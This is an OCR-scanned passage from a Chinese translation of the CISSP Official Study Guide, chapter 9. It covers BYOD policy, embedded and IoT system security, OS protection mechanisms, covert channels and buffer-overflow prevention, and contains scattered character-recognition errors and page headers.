在应用安全中 ， 白名单阻止任何或所有软件(包括恶意代码)的执行， 除非它们在预先批准的例外名
单中: 自名单。 这是来自 于典型安全设备立场的重要违背， 就是被默认允许和被异常拒绝(也就是常
说的黑名单)。
由于恶意软件的增长， 应用 白 名单的方法是为数不多 的几个选项， 以维护对设备和数据安全的
真实承诺。 然而， 没有任何安全解决方案是完美的， 包括臼名单。 所有己知的 白名单解决方案可以
通过内 核级漏洞和应用程序的配置 问题绕过。
9.8.3 BYOD 关注点
BYOD 是一项策略， 允许员工在工作中携带自己的个人移动设备并使用这些设备连接(或通过)
公司 网络业务资源和/或互联网 。 虽然 BYOD 可 以提高员工的士气和工作满意度， 但却增加了组织
的安全风险。 如果 BYOD 策略是开放式的， 那么任何设备可以连接到公司 网络。 并不是所有的移动
第 9 章 安全脆弱性、 威胁和对施
设备都有安全功能， 因此这样的策略不符合设备连上生产网络的标准。 BYOD 策略应强制要求特定
的设备以减少这种风险， 但它可能会要求公司 为那些无法购买 自 带兼容设备的员工购买设备。 关于
许多其他的 BYOD 问 题将在下面的章节中讨论。
用 户 需要 了解在工作中使用他们 自 己的设备的好处、 限制和后果。 阅读并签署 BYOD 策略， 参
加 回顾和培训计划 以具备充足、 合理的意识。
1 . 数据所有权
当个人设备用于业务任务时， 会发生个人数据和业务数据混合在一起的可能性。 一些设备可以
支持存储分隔， 但不是所有的设备都可以提供数据类型隔离。 建立数据所有权是十分复杂的 。 例如，
如果一台设备丢失或被盗， 公司可能希望触发远程擦除， 擦除该设备上所有有价值的信息。 然而，
员 工往往会抵抗这一点 ， 尤其是在设备有被发现或返回 的任何希望时。 擦除可以抹去所有的企业和
个人数据， 这可能对个人而言是重大损失一一尤其是如果设备没有恢复， 擦除看起来会是过度反应。
应建立数据所有权明确的策略。 一些 MDM 解决方案可以提供数据隔离、 分隔， 支持业务数据处理
且不影响个人数据 。
BYOD 策略有关数据所有权和针对移动设备的备份。 业务数据和个人数据应该受到备份解决方
案的保护， 无论是提供给设备上的所有数据的单一解决方案， 还是为每种种类或类型数据提供的单
独解决方案。 这降低了在远程擦除事件中 数据丢失的风险， 以及设备故障或损坏的风险。
2. 所有权支持
当员工的移动设备遭遇了 故障、 错误或损坏， 谁将负 责设备的维修、 更换或技术支持? BYOD
策略应该确定什么样的支持将由公司提供， 什么样的支持留给个人。 如果相关， 还包括他们的服务
提供商 。
3. 补丁管理
BYOD策略应该定义个人拥有移动设备的补丁管理方法和机制。 是否是由用户负责安装更新?
是否是由用户安装所有可用的更新? 设备安装前是否应由公司对更新进行测试? 更新是否通过无线
方式处理(通过服务提供商)或Wi-Fi ? 是否有无法使用的移动操作系统版本限制? 需要什么补丁或更
新级别 ?
4. 反病毒管理
BYOD 策略应该规定反病毒软件、 反恶意软件以及反间谍扫描软件是否要在移动设备上安装。
策略应说明被推荐的产品/应用程序的使用 ， 以及这些解决方案的设置。
5. 取证
BYOD 策略应该解决相关移动设备的取证和调查。 用户 需要知道某个安全的违法或犯罪活动事
件是否可能涉及 自 己的设备， 是否可能受到强制要求收集这些设备的证据。 一些证据的收集过程可
能是破坏性的 ， 一些法律调查则可能需要没收设备。
6. 隐私
BYOD 策略应该解决隐私和监控问题。 当个人设备用于工作时， 在用户享受使用个人设备用于
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CISSP 官方学习指南(第 7 版)
工作的便利时往往会失去一些或所有隐私。 员工可能需要同意在他们的移动设备上进行跟踪和监控，
即使不在公司 的财产范围和工作时间以内。 个人应考虑到在 BYOD 下使用个人设备， 此时设备将被
视为准公司 资产 。
7. 在线/不在线
BYOD 策略应解决个人移动设备在线和不在线的处置。 BYOD 的在线处置包括安装安全、 管理
和生产应用程序以及实现安全和生产配置设置。 BYOD 不在线处置包括正式的业务数据擦除以及移
除任何特定的业务应用 。 在某些情况下 ， 可能规定完整的设备擦除和 出 厂恢复。
8. 遵守公司策略
BYOD 策略应清楚地表明 : 使用个人移动设备的业务活动并不表明可不遵守公司 的策略。 员 工
应该将 BYOD 设备视为公司财产 ， 从而保持其与所有限制的合规性， 甚至当其离钱或处在休息时
间时。
9. 用 户接受
BYOD 策略需具体明确所有在工作中使用 个人设备的内容。 对于许多用户 来说， BYOD 下的限
制 、 安全设置和 MDM(移动设备管理)跟踪实施会比他们期望的更为苛刻。 因此， 组织应该在容许个
人设备到生产环境之前努力充分解释 BYOD 策略的细节。 只有当一名员工表示同意和接受时 ， 通常
通过签名 ， 才能将他们 的设备上线。
1 0. 架构/基础设施考虑
在实施 BYOD 时 ， 组织应评估他们在网络和安全方面的设计、 架构和基础设施。 如果每个员工
都带来个人设备， 网络上设备的数量可能加倍。 这需要规划来处理 E 分配、 通信隔离、 数据的优先
级管理、 提高入侵检测系统(IDS)和入侵防御系统(IPS)监测负荷， 以及提高带宽消耗， 包括内部和互
联网连接。 大多数移动设备支持无线功能， 所以这可能需要更强大的无线网络以及处理 Wi-Fi 拥塞
和干扰。 BYOD 需要考虑触发的额外基础设施成本。
11 法律问题
公司律师应该对 BYOD 的法律问题进行评估。 在业务任务的执行中 ， 使用个人设备可能意味着
风险负担增加和数据泄漏的责任。 BYOD 可能让员工高兴， 但对组织而言可能并不值得或并非实现
有效的成本节约。
1 2. 可接受策略
BYOD策略应参考本公司可接受的使用策略或包括专注于独特问题的移动设备特定的策略版
本。 随着在工作中使用个人移动设备， 将增加信息泄露、 信息分发以及不适当的内容访问的风险。
员 工们应该保持清醒的 意识 ， 在工作 中 的首要 目 标是完成生产任务。
1 3. 机载摄像头/视频
BYOD 策略需要解决移动设备的机载摄像头问题。 一些环境不允许任何类型的相机， 这就要求
BYOD 设备没有相机。 如果相机是允许的， 应当清晰地在文档中说明可以使用或不可以使用的范围
第9章 安全脆弱性、 威胁和对施
并向员工进行解释。 移动设备可以作为存储设备， 向外部供应商或服务提供一条备用的无线连接通
路 ， 也可用于 图像采集并通过视频泄露机密信息或设备。
9.9 评估和缓解嵌入式设备和物联网系统的脆弱性
嵌入式系统是通过计算机实现的一个更大系统的一部分。 嵌入式系统通常围绕与更大的产品相
关的一系列有限和特定的功能而进行设计， 井成为它的一个组成部分。 嵌入式系统可能由在典型计
算机系统中找到的相 同组件组成， 也可能是一个微控制器(集成芯片与主板上的 内 存和外设端口)。
嵌入式系统的例子包括网络连接打印机、 智能电视、 空调控制 、 智能家电、 智能恒温器、 福特 SYNq一
个车辆终端的微型嵌入式系统) 以及医疗器械。
关于嵌入式系统的另一个类似的概念是静态系统(又名静态环境)。 静态环境是一组不改变条件、
事件和周边的环境。 理论上， 一旦理解， 就知道静态环境不提供新的或令人惊讶的元素。 静态的 IT
环境可以是任何系统， 其用户和管理员 的 目 的是保持环境不变。 整个 目 标是防止或最大程度减少用
户 可能导致降低安全性或操作功能性的实施变更。
在技术上， 静态环境是应用手到芋、 操作系统、 硬件设置或网络被配置为满足特定的需要、 能力
或功能， 然后保持设置不变。 然而， 尽管使用 了 " 静态 " 这个术语， 但没有真正的静态系统。 因 为
总是存在改变环境的情况， 如硬件故障、 硬件配置变更、 软件缺陷、 软件设置的变更或漏洞， 最终
导致不希望的操作参数和实际上的安全入侵。
9.9. 1 嵌入式系统和静态系统的示例
支持网络功能的设备是那些本身有网络功能的便携或非便携设备。 通常假定存在问题的网络是
无线网络， 主要是由移动通信公司 提供。 然而， 也可以指连接 Wi-Fi 的设备(特别是当它们可以自动
连接时)、 可以通过无线电信服务共享数据连接的设备(如移动热点)， 以及拥有可插入标准以太网 电
缆的 RJ-45 有线连接插孔的设备。 支持网络功能的设备， 包括智能手机、 平板电脑、 智能电视、 机
顶盒或 HDMI 流媒体播放器(如 Roku 播放器、 亚马逊 Fire TV 或谷歌 灿droid Chromecast) ， 网络
连接的打印机、 游戏系统 以及其他更多 的设备 。
注意 :
在某些情况下 ， 支持网络功能的设备可能支持蓝牙 、 NFC 等无线连接技术。 此外， 一些供应商
提供的设备， 可以在本身 不具备网络支持的情况下添加网络功能。 这些附加的设备可能被视为 支持
网络功 能的设备(或者更具体地说， 支持网 络的设备)， 它们的合力增强设备也可被视为 支持网 络的
设备。
网络物理系统指的是提供一种计算手段来控制物理世界中某样东西 的设备。 在过去， 这些可能
被称为嵌入式系统， 但网络物理的类别似乎更侧重于物理世界的结果， 而不是计算方面 。 网络物理
设备和系统本质上是机器人技术和传感器网络中 的关键要素。 基本上 ， 可 以便运动发生在现实世界
中 的任何计算装置都是机器人元素， 而任何这样可 以检测物理条件。日温度 、 光、 运动、 湿度)的设
备被称为传感器。 网络物理系统的例子包括增强或协助人类能力的假肢、 车辆碰撞躲避、 空中交通
管制协调、 精密机器人手术、 危险条件下的远程操作 ， 以及车辆、 设备、 移动设备和建筑物的节能。
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CISSP 官方学习指南(第 7 版)
网络物理系统、 嵌入式系统和具备网络功能的设备的一种新扩展是物联网(loT)。 物联网是设备
的集合， 可 以通过互联网与其他设备或通过控制台来影响和监视真实世界。 物联网设备可能被标记
为智能设备或智能家居设备。 许多办公建筑物内 的工业环境控制思路是找到 自 己的方式为小型办公
室或个人家庭消费者提供更多可用 的解决方案。 物联网不仅限于静态定位设备， 也可以用于土地、
空气、 水上车辆或移动设备的关联方面。
大型机是高端计算机系统并用于执行高度复杂的计算和提供大容量的数据处理。 老式的大型机
可 以被认为是静态环境， 因为它们通常围绕单一的任务进行设计或支持单一的关键任务应用 。 这些
配置没有提供显著的灵活性， 但它们确实提供了 高稳定性井能长期运行。 许多主机能够运营数十年。
现代大型机更灵活， 通常用于为支持众多的虚拟机提供高速计算能力。 每个虚拟机都可以拥有
一个独特的操作系统并反过来支持广泛的应用。 如果一个现代大型机为操作系统或应用幸自芋提供固
定或静态的支持， 它就可被认为是静态环境。
游戏机， 无论是家庭系统还是便携式系统， 都是潜在的静态系统的例子。 游戏控制台 的操作系
统一般是固 定的 ， 只 有当供应商发布系统升级时才会改变。 这样的升级往往混合了 操作系统、 应用
程序和固件的改进。 虽然游戏控制台功能一般都集中在玩游戏和媒体， 但现代控制台可能会提供对
一系列改善和第三方应用程序的支持。 更灵活和对开放式应用程序的支持， 将使成为静态系统的可
能性减小 。
车辆计算系统可以包括用于监视发动机性能和优化制动、 转 向及悬挂的组件， 也可包含和驾驶、
环境控制及娱乐相关的内置元素。 早期的车辆系统是静态环境， 很少或根本没有能力进行调整或改
变， 尤其是由车主/司机进行调整。 现代车辆系统可提供更广泛的功能， 包括连接移动设备或运行自
定义的应用程序 。
9.9.2 安全方法
嵌入式系统和静态系统的安全问题包括以下事实: 大多数集中在如何最大限度地降低成本和无
关的功能上。 这往往会导致缺乏安全性且难于升级或安装补丁。 由于嵌入式系统在真实世界中是一
种控制机制 ， 因 此一个安全漏洞可能会造成对人和财产的损害 。
静态环境、 嵌入式系统和其他有限或单一用途的计算环境需要安全管理。 虽然它们可能没有广
泛 的攻击面 ， 并且没有暴露过多 的风险， 但作为通用 的计算机， 它们仍然需要适当 的安全治理。
1 网络分隔
网络分隔涉及控制网络设备之间的流量。 完整或物理的网络分隔发生在网络与所有外部通信完
全隔离时， 这时传输仅限于处于分隔网络的设备之间。 可 以在交换机上通过VLAN 或其他通信控制
手段， 包括 MAC 地址、 E 地址、 物理端 口 、 TCP 或 UDP 端口 、 协议、 应用程序过滤、 路由和访
问控制管理来实现逻辑网络的分隔 。 网络分隔可以用来隔离静态环境， 以防止变更和/或因可到达而
被利用 。
2. 安全层
当不同级别分类或灵敏度不同的设备被分组在一起时， 就存在安全层， 从而对不同级别的分组
进行隔离。 这种隔离可以是无条件或单向的。 例如， 较低级别可能无法启动与更高级别的通信， 但
更高级别可以初始与较低级别的通信。 隔离也可以是逻辑上或物理上的 。 逻辑隔离要求对数据包使
第 9 章 安全脆弱性、 威胁和对施
用 分类标签， 它们必须被尊重并在网络管理、 操作系统和应用上进行强制实施。 物理隔离需要实现
不 同安全级别网络之间的 网络分隔 或空间隔断。
3 应用 防火墙
应用防火墙是设备、 服务器插件、 虚拟服务或系统过滤器， 定义了在服务和所有用户 之间严格
的 通信规则 。 目 的是成为服务器端防火墙特定的应用程序 ， 以 防止特定应用协议和载荷攻击。
网络防火墙是一种硬件设备， 通常被称为专为一般网络过滤而设计的装置。 网络防火墙的 目 的
是提供全 网 的广泛保护 。
这两种类型的防火墙十分重要并在多个情况下是相关的。 每一个网络都需要一道网络防火墙。
许多应用程序服务器需要一道应用防火墙。 然而， 有了应用防火墙的位置并非不需要网络防火墙。
应该使用两个防火墙来进行相互补充， 而不是把它们视为竞争性解决方案。
4. 手动升级
手动更新应该用在静态环境下以确保只实施测试和授权更改。 使用 自动更新系统将允许未检测
的更新 引 进未知的安全性降级 。
5. 圄件版本控制
类似于手动更新软件， 在静态环境中严格控制固件是十分重要的 。 固件更新应该在手动的基础
上实现， 并且只有通过测试和审查才能进行。 对固件版本控制的监督应着眼于保持稳定的操作平台 ，
同 时尽量减少危险暴露和停机时间 。
6. 包装
包装是指用来封闭或包含其他东西。 包装在安全社区是众所周知的， 往往被关联到木马恶意软
件 。 这种包装用来将一 台 良性主机与恶意的有效载荷结合起来。
包装也可作为封装解决方案。 一些静态环境可能被配置为拒绝更新、 更改或软件安装， 除非它
们通过一条控制信道引入。 控制信道可以是特定的包装器。 该包装器可以包括完整性和认证功能，
以确保只 有预期和授权的更新被应用于系统中。
7. 控制冗余和多样性
与任何安全解决方案一样， 依靠单一的安全机制是不明智的。 深度防御以同心圆或平面层方式
使用多层访问控制。 这种分层的安全形式有助于组织避免整体单一的安全状态。 整体的心态是相信
单一的安全机制可完全提供所需的足够安全性。 通过冗余和多样性的安全控制 ， 静态环境可以避免
单一安全功能失效的陆阱， 使得环境有多个机会转移、 拒绝、 检测并阻止任何威胁。 遗憾的是， 没
有任何安全机制是完美的。 每一个单独的安全机制都有漏洞或变通方案， 在等待着被黑客发现和
滥用 。
9. 10 基本安全保护机制
操作系统内对安全机制的需求来自 于如下简单的事实: 软件是不可信的 。 无论来自 何人或何处，
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CISSP 官方学 习指南(第 7 版)
第三方软件总是不可信的 。 这并不是说所有软件都是恶意的， 而是说明一种保护观点: 所有第三方
软件都是 os 创建者之外的人编写的， 这样的软件可能导致问题。 因此， 将所有非 os 软件都视为
存在潜在危害性， 这允许操作系统通过使用软件管理保护机制来阻止许多灾难的发生。 os 必须利
用保护机制来保持计算环境的稳定并且进程间彼此隔离。 如果没有这些努力， 那么数据的安全性永
远是不可靠的， 甚至是不可能的 。
在设计安全系统时， 计算机系统设计人员应当遵守许多种通用的保护机制。 这些原则是更通用
的安全规则的特定实例 ， 用于管理安全计算实践。 在开发的早期阶段就在系统中 引入安全设计， 将
有助于确保整个安全架构 的成功和可靠。 接下来将把保护机制分为两个方面加以讨论， 即技术机制
和策略机制 。
9. 1 0.1 技术机制
技术机制是系统设计人员针对系统建立的控制措施。 我们将介绍下列 5 种机制: 分层法、 抽象、
数据隐藏、 进程隔离和硬件分隔。
1 分层法
通过分层法处理， 可以实现与用于操作模式的环模型(本章前面讨论过)类似的结构， 并且能够
应用于每一个操作系统进程。 分层法将进程最敏感的功能放在中心， 并且用逐渐扩大的同心圆代表
敏感度较低的功能(使用稍有不同的方式， 有时也采用术语 " 较高层" 和 "较低层 " 进行阐述， 从较
低层进入较高层时， 安全性与特权会被减弱或减少)。 讨论 os 体系结构肘， 保护环的概念十分常见，
但并非唯一的 。 使用与环不同的级别概念也可以表示相同的基本思想。 在这样的系统中 ， 最高级别
具有最大的特权， 而最低级别则具有最小 的特权。
使用 "级别" 替代 "环"
讨论多 层或多 级系 统时 ， 常常会应用许多 与 保护环概念相同 的特性和约束。 以一幢高层公寓建
筑为例 ， 租金较低的公寓往往往于较低的楼层。 到 达公寓的 中 间层时， 公寓往往更大， 手见:1t往往开
间 。 最后 ， 位于顶层(或最高几层)的公寓总是最宽敞的， 并且租金也是最贵的(常常是豪华的顶层房
间 )。 通常， 如果居住在大楼中低租金的公寓 内 ， 就不能乘坐 电梯到 达租金更贵的更高楼层; 如果居
住在中 间楼层的公寓内， 那么除了 豪华房间所在的楼层， 可以乘坐电梯到达任何楼层; 如果居住在
豪华的顶层房间 ， 那 么可以乘坐电梯到达 自 己想去的任何楼层。 在办公楼和宾馆 内 ， 也可以发现这
样的楼层约束系统。
分层或多 级系统的顶端与保护环方案的 中 心环相同。 同样， 分层或多级系统的底部与保护环方
案的外环相同。 级别通常与层相同， 往往与环也是相同 的(至少在保护和访问 概念方面是相 同 的)。
此外 ， 级别 、 层或环可以被称为 域(也就是具有单 一特征的客体集合)。
层与层之间 的通信只 能使用定义 良好的特定接口 ， 以便提供必要的安全性。 来 自外部(低敏感度)
层的所有入站请求都必须经过严格的身份认证和授权检查， 然后才能被允许继续进行(或者在未通过
检查的情况下被拒绝)。 为安全性使用 的分层法类似于使用安全域和格子型安全模型， 安全性以及对
特定主体和客体的访问控制与指定的层和特权相关联， 并且从外部层移至内 部层时访问特权会增加。
事实上， 不同的层只能通过特定的接口进行通信， 这种接口被设计用于维护系统的安全性和完
第 9 章 安全脆弱性、 威胁和对施
整性。 即使低安全性的外部层依赖于来 自 更高安全性的内部层的服务和数据， 它们也仍然只知道如
何与这些内 部层接口， 但是对内部层的 内 部结构、 特征或其他细节毫无了解。 为了维护层的完整性，
内 部层既不了解也不依赖于外部层。 无论任何一对层之间存在何种安全关系， 都不会对对方造成影
响(因此每个层都不会遭受其他层的篡改)。 最后， 外部层不能违反或重写内部层强制实施的任何安
全策略。
2. 抽象
抽象是支持面向对象编程的领域的基本原则之一 。 它属于 " 黑箱 " 原则， 即认为对象(或操作系
统组件)的用户没有必要知道对象的工作细节， 而是只 需知道使用对 象的正确语法和作为结果返回 的
数据的类型(也就是如何发送输入和接收输出)。 这往往涉及对数据或服务的中 间访问， 就像用户 模
式 中的应用程序使用系统调用请求管理员模式中的服务或数据一样(根据请求者的凭证和特权授予
或拒绝这种请求)， 而不是获得直接的 、 非中间的访 问 。
抽象的另一种安全应用方式引入了对 象组(有时也被称为类)， 此时访问控制和操作权限被分配
给对象组， 而不是在每个对象的基础上进行分配。 这种方式允许安全管理员方便地定义和命名对象
组(通常与作业角色或职责有关)， 并且使权限和特权管理变得更为容易(当把对象加入某个类时， 就
能赋予权限和特权， 从而不必单独针对每个对象管理权限和特权)。
3. 数据隐藏
数据隐藏是多级安全系统的一个重要特征， 它能够确保存在于某个安全级别的数据对于运行在
不同安全级别的进程来说是不可见的。 数据隐藏背后的重要概念是: 保证不必知道在某个级别访问
和处理数据所涉及细节的人无法偷偷摸摸地或违法地了解和查看这些细节。 从安全性的角度看， 数
据隐藏依赖于将客体置入不同于主体所占用容器的其他安全容器中 ， 从而对不必对客体细节进行了
解的人隐藏相关的细节。
4. 进程隔离
进程隔离要求操作系统为每个进程的指令和数据提供不同的 内存空间 。 此外， 还要求操作系统
强制实施这些分界， 以 阻止某一进程读取或写入属于另一个进程的数据。 使用进程隔离技术主要有
下列两个优点 :
• 阻止未经授权的 数据访 问 。 进程隔离是多级安全模式系统的基本要求之一。
• 保护进程的完整性。 如果没有这样的控制措施， 那么设计糟糕的进程可能会出现错误， 并
且将数据写入分配给其他进程的内存空间， 从而导致整个系统不稳定， 而不仅仅是影响错
误进程的执行。 在更恶意的情况下， 进程可能试图(甚至可能成功)读取或写入超出其处理范
围 的 内 存空间、 入侵或攻击其他进程。
通过在每个用户或每个进程的基础上实现所谓的虚拟机， 许多现代操作系统都满足了对进程隔
离的需求。 虚拟机表示具有处理环境的用户或进程， 处理环境包括内存、 地址空间 以及其他关键的
系统资源和服务， 并且使这个用户或进程看起来像是对整个计算机进行唯一、 排他性的访问 。 在不
需要了解可能在同一台计算机上同时执行操作的其他用户或进程的情况下， 这种方式允许每个用户
或进程进行独立操作 。 作为操作系统提供的对系统的中间访问 的一部分， 进程隔离机制映射了用户
模式中 的虚拟资源和访问 ， 从而能够使用监管模式调用来访问对应的实际资源。 这种机制不仅为编
程人员提供了 方便 ， 而且也防止单独的用 户 或进程遭受其他用 户 或进程的影响 。
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5. 硬件分隔
硬件分隔的 目 的与进程隔离类似: 用于阻止对属于不同进程/安全级别的信息的访问 。 二者的主
要差异是: 硬件隔离通过使用物理方式的硬件控制措施来强制实施这些要求， 而不是通过操作系统
强加的逻辑进程隔离控制方法。 硬件分隔较为少见， 通常被限制在国家安全实现中 。 在这种实现中，
额外的 成本和复杂度 由所涉及信息的敏感度和未授权访 问 或泄露固有的风险抵销 。
9.1 0.2 安全策略与计算机体系结构
正如安全策略指导组织中 日 常的安全操作、 过程和措施一样， 它在设计和实现系统时也扮演了
重要的角色。 无论系统完全由硬件组成、 完全由软件组成还是由软件和硬件组合而成， 情况都是如
此。 在这种情况下， 安全策略的角色是告知和指导某些特殊系统的设计、 开发、 实现、 测试和维护。
因此， 这种安全策略主要关注于单一的实现努力(尽管可能改编 自 其他类似的实现努力， 但是应当尽
可能准确和完整地反映 目 标)。
对于系统开发人员而言， 安全策略最好通过文档形式定义一组规则、 实践和措施， 它们描述了
系统应当如何管理、 保护和分布敏感的信息。 阻止信息从较高安全级别流向较低安全级别的安全策
略被称为多级安全策略。 随着系统开发的进行， 应当针对所有适用 的系统组件或元素(包括以下全部
或其中 的一部分: 物理的硬件组件、 固件、 软件以及组织如何交互和使用系统)设计、 构建、 实现和
测试安全策略。 总之， 安全考虑应该贯穿项 目 的整个生命周期， 而不是到最后才考虑 ， 否则更容易
遭受失败。
9.1 0.3 策略机制
正如任何安全程序一样 ， 还应当采用适当的策略机制。 这些机制是基本计算机安全原则的扩展，
但是本节所描述的应用情况是针对计算机体系结构和设计的。
1 . 最小特权原则
在第 13 章 " 管理身份与认证 " 中 ， 将介绍与一般安全性有关的最小特权原则以及如何应用于计
算系统的用户。 这条原则对于计算机和操作系统的设计也非常重要， 尤其是在应用于系统模式时。
当设计操作系统进程时， 无论什么时候都应当始终确保进程在用户模式中运行。 在特权模式中执行
的进程数 目 越多，为了获得监管系统访问特权的怀有恶意的人发现的系统潜在脆弱性的数 目 就越多。
一般而言， 最好使用 API 来请求监管模式服务 ， 或者在必要时， 从用户模式应用相芋将控制权传递
至 可信的、 保护 良好的监管模式进程(而非将这样的程序或进程一起提升至监管模式)。
2. 特权分离
特权分离的原则建立在最小特权原则 的基础之上， 它要求使用细粒度化的访问特权， 也就是说，
给每一种类型的特权操作分配不同 的特权。 这就允许设计人员分配执行特定监控功能的权限， 同 时
不需要授予不受限制访问系统的权限。特权分离还允许查看对服务的单个请求或对资源的单个访问，
针对访问控制进行检查 ， 以及基于请求用户 的身份或者基于所属用户组或用户 的安全角色来准许或
拒绝请求。
第9意 安全脆弱性、 威胁和对施
职责分离可以被视为针对管理员 的最小特权原则的应用 。 在大多数中到大型的组织中存在许多
管理员 ， 每个管理员会被分配不同 的任务。 因此， 单个管理员往往不可能具有对整个环境或基础设
施的完全访问权限。 例如， 某位用 户管理员不需要支持重新配置网络路由 、 格式化存储设备或完成
备份功能的特权。
职责分离也是一种用于防止访问特权和工作任务分配出 现冲突的工具。 例如， 负 责编码的人员
不能完成测试和实现编码的任务。 同样， 负责账户支付工作的人员不能负责账户 的收款工作。 通过
正确地实现职责分离 ， 就可 以安全地管理许多这样的作业或任务冲突 。
3. 可问责性
可 问责性是任何安全设计中 的一个重要组成部分。 许多安全要求较高的系统都包含强制实施个
人特权操作行为可问责'性的物理设备， 例如， 手写访问 日志和无法修改的审计跟踪。 然而， 一般而
言 ， 这样的功能依赖于系统是否能够监控发生于系统资源和配置数据上的活动与交互， 以及是否能
够保护生成的 日 志不会被未授权访问或更改， 以便 日 志提供准确可靠的活动和交互记录， 这些记录
说明了每个用户(包括管理员或其他具有高特权级别 的可信个体)在系统中 的活动历史。 为 了支持可
问 责性 ， 除了需要可靠的审计和监控系统之外， 还需要灵活的授权系统和完美的身份认证系统。
9. 1 1 常见的缺陷和安全问题
任何安全体系结构都不是绝对安全的。 每个计算机系统中都存在缺点和脆弱性。 安全模型和体
系结构的 目 的是要尽可能多地解决己知的缺陷。 下面将讨论一些比较常见的影响计算机系统的安全
问题。 你不仅应当理解每一个安全问题， 而且需要知道它们如何降低 了整个系统的安全性。 某些问
题和缺陷彼此重叠， 并且被攻击者以一种创造性的方式用于攻击系统。 虽然下面的讨论中覆盖了 最
常见的缺陷 ， 但是还不够详尽。 攻击者往往是非常狡猾的 。
9. 11.1 隐蔽通道
隐蔽通道是用于传递信息的方法， 通常不用于通信。 因 为隐蔽通道的路径通常不用于通信， 所
以不会受到系统正常安全控制方法的保护。 使用隐蔽通道提供了 违反、 绕过或回避安全策略而不被
发现的一种方法。 隐蔽通道是安全架构脆弱性的一个重要例子 。
正如你想象的那样， 隐敲通道与公开通道是对立的。 公开通道是一种 己知的、 预期的、 被授权
的 、 经过设计的 、 受监控的和受控的通信方法。
目 前存在下列两种基本的隐蔽通道类型:
时间隐蔽通道 通过以一种可预测的方式改变系统组件的性能或更改资源的时间安排来传达信
息 。 使用 时 间隐蔽通道通常是一种 比较复杂的传送数据的方法 ， 并且难 以检测 。
存储隐蔽通道 通过将数据写入其他进程可以读到的公共存储区域来传达信息。 当评估软件安
全时， 需要注重评估任意进程将信息写入 内 存中任意位置时， 是否可能被其他的进程读取。
这两种隐蔽通道都是依靠使用通信技术与其他未经授权的主体交换信息。 因为隐蔽通道的性质
是与众不同的， 并且位于正常的数据传送环境之外 ， 所以对其进行检测十分困难。 针对任何隐蔽通
道活动的 最佳防护措施是实现审计和分析 日 志文件。
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CISSP 官方学习 指南(第 7 版)
9. 11.2 基于设计或编码缺陷的攻击和安全问题
较差的设计方法、 可疑的实现应用和措施， 或者不充分的测试， 都可能导致特定的攻击。 某些
攻击是由蓄意的设计方案导致的， 此时代码中构建了 能够回避访问控制、 登录或其他安全检查的特
殊入口点， 这些代码往往是在开发阶段添加的， 但是在投入生产时未被去除。 从我们的角度出发，
因为这些入口 点通过设计避开了安全措施， 所以它们恰如其分的名字为后门， 本章稍后的 "维护钩
子和特权程序" 部分会进行更多的介绍 。 广泛的测试和代码检查要求找出 这样隐蔽的访问方式， 在
开发的最后 阶段能够轻易地去除后门， 但在测试和维护阶段， 却极难检测 后 门 。
尽管功能测试对于商业代码或应用来说非常普遍， 但是随着对病毒和蠕虫攻击、 SQL 注入攻击、
跨站脚本攻击和广泛使用 的联机公共站点偶尔受到毁损或破坏的广泛宣传， 对安全问题的单独测试
在近几年来逐步受到关注和赢得信誉。 接下来， 我们将介绍常见的攻击或安全脆弱性来源， 这些来
源是由于设计、 实现、 预先释放代码清除故障或完全彻底的编码错误导致的。 尽管可以避免， 但是
查找和修复这样的缺陷要求从开发项 目 启动时就严格采用注重安全的设计方式， 并且需要额外的时
间和精力进行测试和分析。 尽管这有助于解释软件安全性往往存在的可悲状态 ， 但是决不可原谅 !
1 初始化和失败状态
在毫无准备的情况下 ， 系统突然崩愤， 接着又重新恢复， 这个过程就可能存在两个会危及系统
安全控制的机会。 许多系统在关机过程中会卸载安全控制。 可信恢复能够保证在发生系统崩横时，
所有的控制措施都完整无缺。 在可信恢复的过程中， 系统能确保在安全控制失效的情况下不发生任
何访问 活动 。 甚至在系统恢复阶段， 所有控制方法都还在完整地运行着。
例如， 假设系统崩溃时， 还有一个数据库事务正在为被分类为绝密数据的数据库向磁盘写入数
据。 没有受到保护的系统可能会允许未经授权的用户在数据写入磁盘之前访问这些临时数据。 支持
可信恢复的系统能够保证不会发生破坏数据机密性的行为， 即使在系统崩渍的过程中也是如此。 这
个过程要求通过精心的策划和详细的步骤来处理系统故障。 虽然 自动恢复过程构成了 整个恢复过程
的一部分， 但是人为的干预仍然是必要的。 很显然， 如果需要这样的人工操作 ， 那么对执行恢复操
作 的人 员进行适当 的身份标识和身份认证同样也是必不可少的 。
2 输入和参数检查
缓冲区溢出是一种声名狼蒲的安全破坏行为。 在编程人员未能充分验证输入数据时， 尤其是在
没有对软件接受为输入的数据量进行限制时， 就会出现缓冲 区溢出 。 因 为这样的数据往往存储在某
个输入缓冲区内， 所以在超出缓冲 区正常的最大空间时， 额外的数据就被称为溢出 。 因此， 试图将
恶意入侵或代码作为程序输入部分时导致的攻击类型被称为缓冲区溢出 。 遗憾的是， 在许多系统中 ，
在高特权级别或与接受这种输入的进程相联系的任何特权级别遭到攻击的系统常常会直接造成数据
溢出。 对于几乎所有类型的操作系统(包括 Windows、 Unix、 Linux 与其他操作系统)来说， 在任何己
知 的安全脆弱性种类中， 缓冲区溢出提供了最易 见和最深切 的危害和攻击机会。
缓冲区溢出脆弱性的责任方往往是编写非净化代码的编程人员 。 如果编程人员能够尽职， 那么
可 以完全消除缓冲区溢出 ， 不过在将数据存储到任何数据结构之前， 编程人员必须检查所有的输入
数据和参数(并且限制作为输入提供的数据量)。 验证数据的有效性是消除缓冲区滋出 的唯一方法。
除此之外， 一旦发现缓冲区溢出， 受影响的系统就必须以常见的方式应用关键的安全更新， 从而避
第9章 安全脆弱性、 威胁和对施
免遭受攻击。
@ 真实场景
检查代码是否存在缓冲区溢出
| 在 2002 年初， 习 惯以 Microso企 公司 发言人身份出现的 Bill Ga阳 公布 了 "可信计算计划" ， 这
个计划希望通过改变一系 列设计原理来从安全角度解决 Miαωo企 操作 系 统和应用 程序 中 长期存在
的安全问题。 对这个话题的讨论从 2002 年持续到 2003 年， 而缓冲区·溢出主题反复出现(实际上比
Microsoft 安全公告报告的与这类问题相关的安全缺陷更为频繁， 在涉及安全的编程牵制吴中 ， 缓冲 区
溢出仍然是最严重和最常见的错误类型之一)。 作 为其他许多 开发组织和软件开发环境构建器(开发
人员 用 于创建其他软件的软件工具)经常遇到 的情况， 对防范缓冲 区攻击的意识的提高导效开发过程
中 的许 多 阶段发生 了 变化:
• 设计人员 必须为输入数据指定边界或规定可接受的输入值， 并且在请求输入时必须限制要
接受 、 分析和处理的数据量。
